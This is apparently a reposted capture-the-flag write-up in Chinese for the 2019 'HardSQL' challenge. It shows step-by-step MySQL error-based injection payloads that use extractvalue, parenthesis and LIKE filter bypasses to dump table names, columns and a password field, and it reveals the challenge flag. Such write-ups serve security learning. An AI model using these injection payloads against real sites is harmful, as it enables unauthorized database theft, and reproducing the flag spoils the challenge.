MySQL注入 [极客大挑战 2019]HardSQL
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL注入 [极客大挑战 2019]HardSQL相关的知识,希望对你有一定的参考价值。
mysql注入 [极客大挑战 2019]HardSQL
一、必备基础知识
当#
号被过滤了使用%23
,--+
绕过
当空格
被过滤了使用括号
,/**/
绕过
二、实战化渗透
[极客大挑战 2019]HardSQL
1.使用1'
进行简单的测试,报错
2.使用#注释
,--+
,发现均被过滤,使用#
的URL
绕过
1'#
3.经过测试,过滤了and
,空格
,等号
使用括号
绕过空格
,使用like
绕过等号
,使用extractvalue
报错注入
获取数据库
1'or(select(extractvalue(1,concat('~',(select(database()))))))%23
4.得到数据库名为geek
,获取数据表
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
5.得到数据表名为H4rDsq1
,获取字段名信息
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23
6.得到三个字段,分别是id
,username
,password
,我们要的是密码信息
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))%23
7.得到一部分flag,因为flag比较长,回显出来的字段长度不足,使用rigth,left函数进行截断,得到完整的flag
1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))%23
到的flag为1-8965-f560969904c1
8.得到另一段flag99aefc25-50ec-4161-8965-f5
9.拼接之后,获取完整的flag
flag99aefc25-50ec-4161-8965-f560969904c1
以上是关于MySQL注入 [极客大挑战 2019]HardSQL的主要内容,如果未能解决你的问题,请参考以下文章